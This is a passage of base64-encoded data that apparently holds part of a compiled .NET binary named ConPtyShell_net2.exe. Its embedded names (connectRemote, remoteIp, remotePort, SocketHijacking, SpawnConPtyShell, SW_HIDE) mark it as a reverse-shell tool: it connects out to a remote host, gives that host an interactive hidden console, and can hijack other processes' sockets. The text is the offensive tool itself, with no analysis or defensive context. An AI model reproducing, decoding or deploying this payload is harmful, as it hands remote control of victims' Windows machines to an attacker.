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RAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACAWAAACACgWAQABAIUQAQACAJ8QAQADAKoQAQAEADEWAQAFAD4WAQAGAEQWAAABAM0QAAACAEoWAAADAE8WAAABAFgWAAABAGIWAAABADwQAgACAE4QAAABAM0QAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAEsTAAABAEsTAAABAHQWAAACAH0WAAABAJAWAAACAJwWAAADAKEWAAABAPMWAAACAAEXAAADABAXAAAEAB8XAAABAC8XAAACADgXAAADAEIXAAABAC8XAAACADgXAAADAEIXAAABAEwXAAACAGAXAAADAHQXAAAEAJwWAAAFAKEWAAABAEwXAAACAIoXAAABAKc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QUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBr